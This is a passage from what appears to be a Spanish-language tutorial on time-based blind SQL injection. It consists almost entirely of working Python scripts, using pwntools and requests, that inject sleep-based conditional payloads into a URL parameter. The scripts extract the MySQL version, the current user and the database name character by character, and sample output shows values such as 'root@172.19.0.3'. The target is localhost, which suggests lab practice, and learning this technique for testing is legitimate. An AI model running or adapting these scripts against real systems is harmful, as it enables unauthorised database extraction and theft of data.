            if r.elapsed.total_seconds() >= sleep_time:
                    dt_length = i + 1
                    break
        
            
        datos += "\n[*] "
        for position in range(dt_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, dt, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    datos += char
                    p2.status(datos)
                    break
    
data(url,sleep_time,characters)

Mas información relevante

version() [Versión Base de datos]
SELECT version();
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"

def version(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Datos")

    versions = ""
    for v in range(1):
        for i in range(100):
            payload = "{} and if(LENGTH((select version() limit {}, 1))={}, sleep({}), 1)-- -".format(url, v, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    v_length = i + 1
                    break
        
            
        versions += "\n[*] "
        for position in range(v_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select version() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, v, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    versions += char
                    p2.status(versions)
                    break
    
version(url,sleep_time,characters)
user() [Usuario que ejecuta la base de datos]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario: 
    [*] root@172.19.0.3
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"

def user(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Usuario")

    users = ""
    for user in range(1):
        for i in range(100):
            payload = "{} and if(LENGTH((select user() limit {}, 1))={}, sleep({}), 1)-- -".format(url, user, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    v_length = i + 1
                    break
        
            
        users += "\n[*] "
        for position in range(v_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select user() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, user, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    users += char
                    p2.status(users)
                    break
    
user(url,sleep_time,characters)
database() [Base de datos en uso]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso: 
    [*] my_database
from pwn import *
import requests
import string

url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"

def user(url,sleep_time,characters):
    p1 = log.progress("Probando con")
    p2 = log.progress("Base de datos en uso")

    databases = ""
    for db in range(1):
        for i in range(100):
            payload = "{} and if(LENGTH((select database() limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
            r = requests.get(payload)
            if r.elapsed.total_seconds() >= sleep_time:
                    db_length = i + 1
                    break
        
            
        databases += "\n[*] "
        for position in range(db_length):
            for char in characters:
                p1.status(char)
                payload = "{} and if(substr((select database() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)

                r = requests.get(payload)

                if r.elapsed.total_seconds() >= sleep_time:
                    databases += char
                    p2.status(databases)
                    break
    
user(url,sleep_time,characters)